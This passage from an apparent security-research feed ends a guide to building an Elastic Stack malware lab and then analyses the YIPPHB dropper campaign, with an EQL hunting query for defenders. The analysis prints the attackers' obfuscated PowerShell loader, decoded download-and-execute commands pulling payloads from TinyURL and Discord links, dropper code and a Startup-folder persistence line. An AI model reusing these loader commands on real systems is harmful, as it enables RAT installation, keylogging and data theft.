<h3>Starting the Elastic Stack</h3>
<p>Starting the project containers is as simple as running the <strong>elastic-container.sh</strong> shell script with the start option.</p>
<pre><code>**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers
[+] Running 7/8
⠿ Network elastic-container\_default Created 0.0s
⠿ Volume &quot;elastic-container\_certs&quot; Created 0.0s
⠿ Volume &quot;elastic-container\_esdata01&quot; Created 0.0s
⠿ Volume &quot;elastic-container\_kibanadata&quot; Created 0.0s
⠿ Container elasticsearch-security-setup Waiting 2.0s
⠿ Container elasticsearch Created 0.0s
⠿ Container kibana Created 0.1s
⠿ Container fleet-server Created 0.2s

Attempting to enable the Detection Engine and Prebuilt-Detection Rules
Kibana is up. Proceeding
Detection engine enabled. Installing prepackaged rules.
Prepackaged rules installed!
Waiting 40 seconds for Fleet Server setup
Populating Fleet Settings
READY SET GO!

Browse to https://localhost:5601
Username: elastic
Passphrase: you-changed-me-from-the-default-right?**
</code></pre>
<h3>Accessing the Elastic Stack</h3>
<p>Once the containers have all downloaded and started, you’ll get an output that tells you to browse to <strong><a href="https://localhost:5601">https://localhost:5601</a></strong>.</p>
<p><strong>Note:</strong> You’ll need to accept the self-signed TLS certificate.</p>
<h2>Enabling the Platinum Features</h2>
<p>Enabling the Platinum license features are completely optional. Security features, like anti-malware, EDR, EPP, etc. are included in the Basic license. Memory, behavior, and ransomware protections are Platinum license features. If you want to change your license, we can do that with the <strong>.env</strong> file or from within Kibana. You can update to Elastic Platinum for 30-days.</p>
<p>If you want to use the <strong>.env</strong> file so that the features are enabled when the stack is built, change <strong>LICENSE=basic</strong> to <strong>LICENSE=trial</strong> and then start the project as normal.</p>
<p>If you prefer to use Kibana, click on the hamburger menu, and then click on Stack Management.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image5.jpg" alt="Access Stack Management from Kibana" /></p>
<p>Click on License Management and then “Start a 30-day trial”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image24.png" alt="Start a 30-day trial" /></p>
<h2>Creating a Fleet policy</h2>
<p>Now that we have the entire Elastic Stack up and running, we can make a <a href="https://www.elastic.co/pt/guide/en/kibana/current/fleet.html">Fleet</a> policy. Fleet is a subroutine of an <a href="https://www.elastic.co/pt/elastic-agent">Elastic Agent</a> (which was built when we ran the <strong>start</strong> option in the shell script) that enables you to manage other Elastic Agents, policies, and integrations.</p>
<blockquote>
<p>Fleet is managed in Kibana, the UI that allows you to interact with data stored in Elasticsearch and manage your Elastic stack. If you’re interested in learning more about Kibana, check out the <a href="https://www.elastic.co/pt/training/free#quick-starts">free</a> <a href="https://www.elastic.co/pt/training/free#how-to">training</a> <a href="https://www.elastic.co/pt/training/free#fundamentals">videos</a>.</p>
</blockquote>
<p>Log into your Kibana instance and click on the “hamburger” menu on the top left, and navigate down to “Fleet”, under the “Management” section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image17.jpg" alt="Accessing Fleet" /></p>
<p>Next, click on the “Agent policies” tab and then the “Create agent policy” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image27.png" alt="Create agent policy" /></p>
<p>Give your new policy a name and a description (optional). Normally, we uncheck the “Collect agent logs” and “Collect agent metrics” options because it’s additional data going to the stack that we generally don’t need for our specific use-case. If you’re doing troubleshooting or interested in what’s happening behind the scenes, this data can help you understand that.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Agent_policies_-_Fleet_-_Elastic.jpg" alt="Defining the agent policy" /></p>
<p>Next, click on your new policy and the blue “Add integration” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image15.png" alt="Open the Fleet policy" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image3.jpg" alt="Add integrations" /></p>
<p>There are hundreds of integrations, but the ones that we’re most interested in for this blog are for Elastic Security.</p>
<p>To install Elastic Security, simply click on the tile on the main integrations page or search for “security”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image16.png" alt="Endpoint and Cloud Security integration" /></p>
<p>Next, click the “Add Endpoint and Cloud Security” button to install this integration into the policy we just created.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image4.jpg" alt="Add Endpoint and Cloud Security" /></p>
<p>Name the integration and click the blue “Save and continue” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image1.jpg" alt="Save the integration to the policy" /></p>
<blockquote>
<p>While the Endpoint and Cloud Security and System integrations will collect security related logs, if you’re using Sysmon on a Windows host, you may want to add the “Windows” integration to collect those logs.</p>
</blockquote>
<p>Once the integration is installed, you’ll be prompted to add more Agents or to do that later. Select the “Add Elastic Agent later” option so we can make a few more changes to our policy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image19.jpg" alt="Add Elastic Agents later" /></p>
<p>Now we’ll be dropped back to our policy page.</p>
<p>We should have two integrations for our policy: <strong>security</strong> and <strong>system-1</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Agent_policies_-_Fleet_-_Elastic.jpg" alt="Reviewing the Windows policy" /></p>
<p>Before we add any agents, we’ll want to set our Elastic Agent to Detect (so that it allows the malware to completely execute), register the Elastic Agent as a trusted AV solution (Windows only), and instruct the Endpoint and Cloud Security integration to collect memory samples from security events. This is tremendously helpful for “fileless” malware that injects directly into memory, like Cobalt Strike.</p>
<blockquote>
<p>If you want to learn more about extracting malware beacons from events generated by the Elastic Agent, check out our other <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">publications</a> and <a href="https://github.com/elastic/malware-exquacker">repositories</a>.</p>
</blockquote>
<p>To allow the malware to continue to execute, on your “Windows” policy page, click on the name of the integration (“security” in our example), set the Protection level to “Detect”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image25.jpg" alt="Setting the Protection level to Detect" /></p>
<p>Repeat these steps for the Ransomware, Memory threat protections, and Malicious behavior sections.</p>
<blockquote>
<p>We’re setting the Elastic Agent to Detect so that the malware we’re detonating will run completely so that we can analyze the entire execution chain. If you want the malware to be stopped, you can leave this in Prevent mode.</p>
</blockquote>
<p>Next, scroll to the bottom and select the “Register as antivirus” toggle and click on the “Show advanced settings” hyperlink.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image18.jpg" alt="Register as antivirus" /></p>
<p>Scroll down to <strong>windows.advanced.memory_protection.shellcode_collect_sample</strong> , <strong>windows.advanced.memory_protection.memory_scan_collect_sample</strong> , and <strong>windows.advanced.memory_protection.shellcode_enhanced_pe_parsing</strong> options and set the value to <strong>true</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image26.jpg" alt="Enabling sample collection" /></p>
<blockquote>
<p>As mentioned above, these steps are for labs, sandboxes, testing, etc. These settings can generate a lot of data, so setting these for production will need resourcing and sizing considerations.</p>
</blockquote>
<p>If you’re making a policy for Linux or macOS, repeat these for the proper OS.</p>
<p>Once we’re done with all of the post-installation configurations, we can click the blue Save integration button.</p>
<h2>Enabling Elastic’s Prebuilt Detection Rules</h2>
<p>Now that we have created our Fleet agent policy we need to enable the set of pre-built detection rules associated with the OS or platform we will be deploying on (e.g Windows). To do this you will need to go to the Alerts page within the security app.</p>
<p>Click on the hamburger menu and select Alerts, under the Security solution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Home_-_Elastic.jpg" alt="Access the Alerts section" /></p>
<p>Next, click on the blue Manage Rules button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Alerts_-_Kibana.jpg" alt="Access the Manage rules interface" /></p>
<p>Once on the Rules page you can update all of the prebuilt rules provided by Elastic by clicking on the “Update Elastic prebuilt rules” button. The update framework is enabled when you go into the “Manage rules” section for the first time, if the “Update Elastic prebuilt rules” button isn’t present, refresh the screen.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana.jpg" alt="Update Elastic prebuilt rules" /></p>
<p>Once the rules have been updated, you can browse the available detection rules, search them by a number of different patterns or simply filter by tag, which is what we will do here by searching for Windows rules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-2.jpg" alt="Filter for Windows rules" /></p>
<p>Now we can select all of the Windows rules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-3.jpg" alt="Selecting all Windows rules" /></p>
<p>Once all of the rules have been selected, we can bulk enable them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-4.jpg" alt="Bulk enable Windows rules" /></p>
<blockquote>
<p>As the Elastic Container Project runs completely inside single Docker containers, performance impacts could be noticed if you enable all of the rules available. Explore the different rules and enable or disable them based on your infrastructure and use cases.</p>
</blockquote>
<p>After we have enabled these rules they will be live and will be run against the data your endpoint agent sends into your stack. When the Detection Engine rules are triggered, they will be raised in the Alerts page in the Security Solution.</p>
<h2>Enrolling an Elastic Agent</h2>
<p>Still in Fleet, we have several ways to add an Elastic Agent. The most straightforward is from within the policy that we want to enroll an Elastic Agent into (otherwise you have to specify which policy you want to use). It doesn’t really matter which approach you use, but clicking on the Actions button and then Add agent works from just about anywhere in Fleet.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image8.jpg" alt="Adding Elastic Agent" /></p>
<p>Scroll down and click on the OS that you’re going to be installing the Elastic Agent on, and copy/paste the instructions directly into a terminal window on the host you’re going to be installing the agent onto. Note, if you’re using Windows, use a Powershell CLI that is running as (or elevated to) an account with administrative entitlements.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image22.png" alt="Powershell commands to add an Elastic Agent" /></p>
<p>Of note, because all of our TLS certificates are self-signed, we need to append the <strong>–insecure</strong> flag. This is unnecessary if you are using trusted certificates.</p>
<pre><code>**.\elastic-agent.exe install --url=https://[stack-ip]:8220 --enrollment-token=[token] --insecure**
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image23.jpg" alt="Enrolling the Elastic Agent into Fleet" /></p>
<p>Back in Kibana, we can see confirmation that the Elastic Agent installed on the host and that data is being recorded into Elasticsearch.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image2.jpg" alt="Verifying Elastic Agent enrollment" /></p>
<p>We can see that the Elastic Agent is reporting into Fleet and is healthy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image28.png" alt="Verify Elastic Agent health" /></p>
<p>If we go into the Discover tab, we can see various event types reporting into Elasticsearch. We can generate some test data by opening <strong>notepad.exe</strong> , <strong>calc.exe</strong> , and <strong>ping.exe -t <a href="http://www.elastic.co/pt">www.elastic.co</a></strong> on the host. From Discover, we can make a simple query to validate that we’re seeing the data:</p>
<pre><code>**process.name.caseless : (notepad.exe or ping.exe or calc.exe)**
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image7.png" alt="Verifying data is being sent to Elasticsearch" /></p>
<p>Now that we’ve validated that we’re seeing data. Let's fire some malware!</p>
<h2>Test fire some malware</h2>
<p>There are a lot of places you can download malware from, but for this test, we’ll simply use the industry standard <a href="https://www.eicar.org/download-anti-malware-testfile/">EICAR anti malware test file</a> to check the functionality.</p>
<p>The EICAR test is a file that is universally identified by security vendors and is used to test the operation of anti malware software and platforms. It contains a single string and is non-malicious.</p>
<p>From within the Windows host, we’ll use Powershell to download the EICAR file.</p>
<pre><code>**Invoke-WebRequest -Uri &quot;https://secure.eicar.org/eicar.com.txt&quot; -OutFile &quot;eicar.txt&quot;**
</code></pre>
<p>As expected, the event was immediately identified by the Elastic Agent’s security integration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image29.jpg" alt="Elastic Security detected the EICAR test file" /></p>
<p>After a few minutes, the events are recorded into the Security Solution within Kibana. You can get there by clicking on the hamburger menu and then clicking on the Alerts section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image9.jpg" alt="Viewing Security alerts" /></p>
<p>Here we can see the alert populated.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image11.png" alt="Alert in the Security Solution" /></p>
<p>If we click on the Analyzer button, we can dig into the event to identify the process that generated the event.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image12.jpg" alt="Analyzer button" /></p>
<p>In our example, we can see <strong>powershell.exe</strong> generated the event and this includes the correlated network events - <strong>secure.eicar.org</strong> , which is where the EICAR test file was downloaded from.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image13.jpg" alt="Analyzer view" /></p>
<h2>Summary</h2>
<p>In this publication, we introduced you to the Elastic Stack and an open source project that can be used to quickly and securely stand up the entire stack for testing, labs, and security research.</p>
<p>Kibana and the Security Solution are powerful tools that are built by incident responders, threat hunters, and intelligence analysts with security practitioners in mind. To learn more about how to use these tools, <a href="https://www.elastic.co/pt/training/">Elastic has some great (free and paid) training</a> that can help learn how to use Kibana for threat hunting.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/blog-thumb-container-barge.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Doing time with the YIPPHB dropper]]></title>
            <link>https://www.elastic.co/pt/security-labs/doing-time-with-the-yipphb-dropper</link>
            <guid>doing-time-with-the-yipphb-dropper</guid>
            <pubDate>Mon, 21 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs outlines the steps collect and analyze the various stages of the REF4526 intrusion set. This intrusion set uses a creative approach of Unicode icons in Powershell scripts to install a loader, a dropper, and RAT implants.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.</li>
<li>YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.</li>
<li>The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.</li>
</ul>
<h2>Preamble</h2>
<p>While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.</p>
<p>Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.</p>
<p>This research focused on the following:</p>
<ul>
<li>Loader phase</li>
<li>Dropper phase</li>
<li>RAT phase</li>
<li>Activity clusters</li>
<li>Network infrastructure</li>
<li>Hunting queries</li>
</ul>
<h2>Analysis</h2>
<p>The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image3.png" alt="Execution flow for the REF4526 intrusion set" /></p>
<h3>Loader phase</h3>
<p>While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
</code></pre>
<p>While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.</p>
<p>Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a <strong>U</strong>. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<p>By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image5.png" alt="Decoding the Unicode Base64 Powershell string" /></p>
<p>Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The loader is downloaded from <code>https://tinyurl[.]com/2erph6cs</code>. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.</p>
<p>To unfurl the TinyURL, we can use the JSON API endpoint from <a href="https://unshorten.me/">Unshorten.me</a>:</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/2erph6cs&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt&quot;,
    &quot;usage_count&quot;: 3,
    &quot;remaining_calls&quot;: 8
}
</code></pre>
<p>Downloading <strong>dllsica.txt</strong> from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from <strong>dllsica.txt</strong> can easily be decoded without substitutions.</p>
<p>Using the <strong>cat</strong> , <strong>base64</strong> , <strong>xxd</strong> , and <strong>head</strong> command line tools, we can see that this has a hexadecimal value of <strong>4d5a</strong> and an MZ magic number in the file header. This confirms we’re analyzing a PE file.</p>
<ul>
<li><strong>cat</strong> - catenates a file</li>
<li><strong>base64 -D</strong> - the <strong>-D</strong> switch decodes a base64 encoded file</li>
<li><strong>xxd</strong> - creates a hexadecimal dump of an input</li>
<li><strong>head</strong> - returns the first 10 lines of a file</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...
</code></pre>
<p>Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.</p>
<ul>
<li><strong>file</strong> - verify the file type</li>
<li><strong>shasum -a 256</strong> - the -a 256 switch uses the 256-bit hashing algorithm</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D &gt; dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
</code></pre>
<p>Now that the loader has been collected, it executes the method <strong>PUlGKA</strong> inside of the class <strong>NwgoxM.KPJaN</strong>. From the original Base64 decoded string</p>
<pre><code>…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image7.png" alt="The loader’s execution" /></p>
<p>We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.</p>
<pre><code>FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + &quot;\\&quot; + NameCopy + &quot;.vbs&quot;);
</code></pre>
<h3>Dropper phase</h3>
<p>From the loader's execution image above, we can see that the loader uses a reversed variable (<strong>text = bdw6ufv4/moc[.]lruynit//:sptth</strong>) to download an additional file using a TinyURL. Using the command line tool, <strong>rev</strong> , we can correct the reversed URL.</p>
<pre><code>$ echo &quot;bdw6ufv4/moc.lruynit//:sptth&quot; | rev

https://tinyurl[.]com/4vfu6wd
</code></pre>
<p>We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    &quot;requested_url&quot;: &quot;tinyurl[.]com/4vfu6wd&quot;,
    &quot;success&quot;: true,
    &quot;resolved_url&quot;: &quot;https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt&quot;,
    &quot;usage_count&quot;: 2,
    &quot;remaining_calls&quot;: 9
}
</code></pre>
<p>Another encoded file is downloaded from Discord: <strong>pesica.txt</strong>. As of this writing, VirusTotal reports zero detections of this file.</p>
<p>With clues from <strong>dllsica.bin</strong> , we can see that <strong>pesica.txt</strong> uses UTF-8 encoding. To further analyze our file, we need to replace the <strong>▒▒▒▒</strong> values with an <strong>A</strong> , and Base64 decode the resulting strings.</p>
<pre><code>…truncated…
string text = &quot;bdw6ufv4/moc[.]lruynit//:sptth&quot;;
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace(&quot;▒▒▒▒&quot;, &quot;A&quot;);
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + &quot;\\InstallUtil.exe&quot;,
	Convert.FromBase64String(text3)
	});
…truncated…
</code></pre>
<p>We can stack recipes to perform these functions with CyberChef.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image2.png" alt="Using CyberChef to decode pesica.txt" /></p>
<p>Once we’ve decoded <strong>pesica.txt</strong> , we calculate the hash <strong>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</strong>. The decoded output of <strong>pesica.txt</strong> shows the <strong>YippHB</strong> module name.</p>
<pre><code>...truncated...
ToInt16
&lt;Module&gt;
YippHB
ResumeThread_API
...truncated...
</code></pre>
<p>This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher <a href="https://twitter.com/pmelson">Paul Melson</a>. Paul <a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">publicly disclosed</a> this dropper in October of 2022 at the Augusta BSides security conference.</p>
<p>The YIPPHB dropper is executed using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool">Installutil.exe</a> command-line utility to start the RAT phase.</p>
<blockquote>
<p>We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.</p>
</blockquote>
<h3>RAT phase</h3>
<p>Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.</p>
<pre><code>…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The RAT was retrieved from <code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code>, which is reversed from <strong>txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth</strong>.</p>
<p>Looking at the file <strong>10oct8000.txt</strong> file, we can see that it is a reversed, Base64-encoded file.</p>
<pre><code>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
</code></pre>
<p>We can correct this file and Base64 decode it using the command-line tools <strong>rev</strong> and <strong>base64</strong> and save the output as <strong>10oct8000.bin</strong>.</p>
<pre><code>$ cat 10oct8000.txt | rev | base64 -D &gt; 10oct8000.bin
</code></pre>
<p><strong>10oct8000.bin</strong> has a SHA256 hash of <strong>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</strong>. This file is reported on VirusTotal as a variant of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">LIMERAT</a> or <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">NJRAT</a> malware families (depending on the source).</p>
<p>Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (<a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">1</a>, <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">2</a>).</p>
<p>The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image8.png" alt="NJRAT C2 configuration variables" /></p>
<p>For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( <strong>TllBTiBDQVQ=</strong> ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with <a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">a known NJRAT code base</a>, this C2 configuration information adds to our conviction that this is related to NJRAT.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doing-time-with-the-yipphb-dropper/image4.jpg" alt="NJRAT code from Github" /></p>
<p>If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:</p>
<ul>
<li>victimName ( <strong>vn</strong> )</li>
<li>Hardware ID</li>
<li>Username</li>
<li>OSFullName</li>
<li>OSVersion Servicepack</li>
<li>if the Program Files folder ends in <strong>X86</strong> or not</li>
<li>if a webcam is present</li>
<li>the window name</li>
<li>a permission check on the registry</li>
</ul>
<p>If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, <a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">here</a> and <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">here</a></p>
<h3>Activity clusters</h3>
<p>We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == &quot;PowerShell.EXE&quot; and process.command_line like &quot;*Unicode.GetString*&quot; and process.args like &quot;*replace*&quot;)
</code></pre>
<p>This query allowed us to identify Powershell activity that uses both Unicode characters and the <strong>replace</strong> function.</p>
